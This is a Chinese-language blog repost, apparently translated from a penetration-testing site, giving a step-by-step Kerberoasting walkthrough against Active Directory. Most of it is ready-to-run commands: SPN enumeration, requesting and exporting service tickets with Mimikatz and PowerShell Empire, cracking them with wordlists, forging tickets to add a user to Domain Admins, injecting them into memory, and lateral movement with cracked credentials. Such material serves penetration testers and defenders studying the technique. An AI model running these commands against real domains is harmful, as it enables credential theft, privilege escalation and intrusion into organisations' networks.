Kerberoast

原文:https://pentestlab.blog/2018/06/12/kerberoast/amp/
描述Kerberos和Active Directory如何使用服务主体名称(SPNs)的优秀文章:http://adsecurity.org/?page_id=183
Active Directory服务主体名称(SPNs)的全面参考(尽可能全面):http://adsecurity.org/?page_id=183
××× Kerberos service tickets 的5个步骤:

  1. SPN Discovery
  2. Request Service Tickets
  3. Export Service Tickets
  4. Crack Service Tickets
  5. Rewrite Service Tickets & RAM Injection

(一)SPN Discovery
原文:https://pentestlab.blog/2018/06/04/spn-discovery/

SetSPN
SetSPN是一个本机windows二进制文件,可用于检索用户帐户和服务之间的映射。该实用程序可以添加、删除或查看SPN注册。
PS C:\> setspn -T medin -Q /

GetUserSPNs
Tim Medin开发了PowerShell脚本,该脚本是kerberoast toolkit的一部分,并且可以查询AD(活动目录),以便只发现与用户帐户相关联的服务,因为与SetSPN相比,这种方法更加专注。
meterpreter > powershell_import /root/Desktop/GetUserSPNs.ps1
也可以执行vbs脚本。
C:\Users\Administrator>cscript.exe GetUserSPNs.vbs
https://github.com/nidem/kerberoast

PowerShell AD Recon
Sean Metcalf的脚本用于查询活动目录,以获得诸如Exchange、Microsoft SQL、Terminal等有趣的服务。下面的脚本将识别网络上的所有Microsoft SQL实例。
meterpreter > powershell_import /root/Discover-PSMSSQLServers.ps1
meterpreter > powershell_execute Discover-PSMSSQLServers
还可以使用PSMSExchangeServers脚本发现Microsoft Exchange服务。
meterpreter > powershell_import /root/Discover-PSMSExchangeServers.ps1
meterpreter > powershell_execute Discover-PSMSExchangeServers
服务帐户的枚举很重要,因为这些帐户可能配置为弱密码。PasswordLastSet和LastLogon的属性可能指示哪些服务更有可能使用了弱密码。
meterpreter > powershell_import /root/Find-PSServiceAccounts.ps1
meterpreter > powershell_execute Find-PSServiceAccounts
https://github.com/PyroTek3/PowerShell-AD-Recon

Empire
PowerShell Empire还拥有一个模块,可以显示用于域帐户的服务主体名称(SPN)。
(Empire: xx) > usemodule situational_awareness/network/get_spn
(Empire: powershell/situational_awareness/network/get_spn) > info
https://pentestlab.blog/2018/05/28/situational-awareness/

PowerShellery
在向Empire添加Get-SPN模块之前,Scott Sutherland已经创建了几个Powershell脚本,它们是PowerShellery的一部分,可以为各种服务收集SPN。其中一些需要用PowerShell v2.0,其他一些用PowerShell v3.0。
PS C:\> Import-Module .\Get-SPN.psm1
PS C:\> Get-SPN -type service -search ""
结果也可以转化为表格,以便更轻松地映射帐户和服务。
Get-SPN -type service -search "
" -List yes | Format-Table
还有一个额外的脚本可以获取UserSid,服务和实际用户。
PS C:\> Import-Module .\Get-DomainSpn.psm1
PS C:\> Get-DomainSpn
https://github.com/nullbind/Powershellery

Impacket
使用python版本的GetUserSPNs(这是impacket的一部分),还可以从非连接域系统中发现服务主体名称。但是,与活动目录通信需要有效的域凭证,因为不能使用基于令牌的身份验证。
#./GetUserSPNs.py -dc-ip 10.0.0.1 pentestlab.local/test
https://github.com/CoreSecurity/impacket

参考:
https://adsecurity.org/?p=230
https://adsecurity.org/?p=1508
http://adsecurity.org/?page_id=183
https://github.com/nullbind/Powershellery
https://github.com/PyroTek3/PowerShell-AD-Recon

(二)Request Service Tickets
使用PowerShell是请求指定SPN的服务票证最简单的方法,正如Tim Medin在DerbyCon 4.0上的说的。
PS > Add-Type -AssemblyName System.IdentityModel
PS > New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"
执行klist命令将列出所有可用的缓存票据。
PS > klist

请求服务票据的另一种解决方案是通过Mimikatz指定服务主体名称作为目标。
mimikatz#kerberos::ask /target:PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80
与klist类似,内存中存在的Kerberos票证列表可以通过Mimikatz检索。从现有的PowerShell会话中,Invoke-Mimikatz脚本将输出所有票据。
PS > Invoke-Mimikatz -Command '"kerberos::list"'
mimikatz(powershell)#kerberos::list

另外,加载Kiwi模块将添加一些额外的Mimikatz命令,它们可以执行相同的任务。
meterpreter > load kiwi
meterpreter > kerberos_ticket_list
或者通过执行一个自定义的Kiwi命令。
meterpreter > kiwi_cmd kerberos::list

Impacket有一个python模块,可以请求属于域用户的Kerberos服务票据,与计算机帐户服务票据相比,这些票据应该更容易破解。然而,从一个不属于该域的系统与Active Directory交互还需要有效的域凭据。
#./GetUserSPNs.py -request pentestlab.local/test
https://github.com/CoreSecurity/impacket

弱密码服务票据的识别也可以使用由Matan Hart开发的RiskySPN中的模块。此模块的目的是对属于用户的可用服务票据进行审计,以便根据用户帐户和密码过期查找最容易包含弱密码的票据。与klist和Mimikatz相比,该脚本将提供更详细的输出,包括用户组信息、密码年龄和破解窗口。
PS > Find-PotentiallyCrackableAccounts -FullData -Verbose
使用-Domain参数执将返回所有具有关联服务主体名称的用户帐户。
PS > Find-PotentiallyCrackableAccounts -Domain "pentestlab.local"
服务票据信息也可以以CSV格式导出,以供离线查看。
PS > Export-PotentiallyCrackableAccounts
另一个脚本可以通过其SPN为服务实例获取服务票据。
meterpreter > power_shell
PS > Get-TGSCipher -SPN "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"
https://github.com/cyberark/RiskySPN

Tim Medin的Kerberoast toolkit为了实现过程的自动化已经被重写。AutoKerberoast包含Tim的原始脚本,包括两个PowerShell脚本,其中包含可以执行以Base64、John和Hashcat格式请求、列出和导出服务票据的各种功能。
meterpreter > powershell_execute List-UserSPNs
还有一个-Domain参数可以只列出特定域的SPNs。
meterpreter > powershell_execute List-UserSPNs -Domain "pentestlab.local"
https://github.com/nidem/kerberoast
https://github.com/xan7r/kerberoast

(三)Export Service Tickets
Mimikatz是可以导出Kerberos服务票据的标准工具。从PowerShell会话中,以下命令将列出内存中的所有可用票据,并将其保存在远程主机中。
PS > Invoke-Mimikatz -Command '"kerberos::list /export"'

同样,PowerShell Empire有一个模块可以自动完成Kerberos服务票据提取任务。
(Empire: xx) > usemodule credentials/mimikatz/extract_tickets
该模块将使用Invoke-Mimikatz函数自动执行下面的命令。
mimikatz(powershell)#standard::base64
mimikatz(powershell)#kerberos::list /export

支持Kerberos身份验证的服务的票证哈希可以直接使用PowerShell Empire模块提取。哈希的格式可以提取为John或Hashcat。该模块将检索所有服务帐户的密码哈希值。
(Empire: agent) > interact xx
(Empire: xx) > usemodule credentials/invoke_kerberoast

AutoKerberoast将以base64格式提取所有的服务票据。
meterpreter > powershell_execute Invoke-AutoKerberoast
AutoKerberoast中还有一个脚本(https://github.com/xan7r/kerberoast/blob/master/autokerberoast_noMimikatz.ps1) ,它将以hashcat兼容格式显示提取的票据。
https://github.com/xan7r/kerberoast

使用更具针对性的Kerberoasting也可以提取属于特定域的elevated groups的票据。
PS > Invoke-AutoKerberoast -GroupName "Domain Admins" -Domain pentestlab.local -HashFormat John
https://github.com/xan7r/kerberoast

Matan Hart开发的Get-TGSCipher PowerShell模块可以以三种不同格式:John、Hashcat和Kerberoast提取服务票据的密码散列。可以在(一)SPN Discovery 中检索脚本所需的相关服务的服务主体名称。使用Get-TGSCipher函数的好处是无需使用Mimikatz导出票据,这可能会触发蓝色团队的警报,并且还可以通过获取散列来直接减少将票据转换为John格式的步骤。
PS > Get-TGSCipher -SPN "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80" -Format John

(四)Crack Service Tickets
tgsrepcrack.py是Tim Medin开发的Kerberoast中的一部分,可以通过提供密码列表来破解Kerberos票据。
#python tgsrepcrack.py /root/Desktop/passwords.txt PENTESTLAB_001.kirbi
https://github.com/nidem/kerberoast

Lee Christensen开发了extractServiceTicketParts python脚本,该脚本可以使用Go语言提取服务票据和tgscrack的哈希,从而可以破解哈希,密码将以纯文本显示。如果PowerShell remoting已开启,则可以使用从服务票据中检索的密码执行远程命令和其他横向移动操作。
PS > Enable-PSRemoting
PS > $pass = 'Password123' | ConvertTo-SecureString -AsPlainText -Force
PS > $creds = New-Object System.Management.Automation.PSCredential -ArgumentList 'PENTESTLAB_001', $pass
PS > Invoke-Command -ScriptBlock {get-process} -ComputerName WIN-PTELU2U07KG.PENTESTLAB.LOCAL -Credential $creds
https://github.com/leechristensen/tgscrack

(五)Rewrite Service Tickets & RAM Injection
Kerberos tickets使用密码的NTLM hash进行签名。如果ticket hash已经被破解,那么可以使用kerberos python脚本重写该票据。这种策略将允许在访问服务时模拟任何域用户或假帐户。此外,还可以将用户添加到一个elevated group中进行提权,如Domain Admins。
#python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500
#python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512
可以使用以下Mimikatz命令将新票据重新注入内存,以便通过Kerberos协议对目标服务执行身份验证。
kerberos :: ptt PENTESTLAB.kirbi
https://github.com/nidem/kerberoast

参考:
https://github.com/nidem/kerberoast
https://github.com/xan7r/kerberoast
https://github.com/cyberark/RiskySPN
https://github.com/leechristensen/tgscrack
http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/
https://adsecurity.org/?p=2293
https://www.blackhillsinfosec.com/a-toast-to-kerberoast/
https://blog.xpnsec.com/kerberos-attacks-part-1/
https://www.cyberark.com/blog/service-accounts-weakest-link-chain/

转载于:https://blog.51cto.com/maxvision/2129920

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值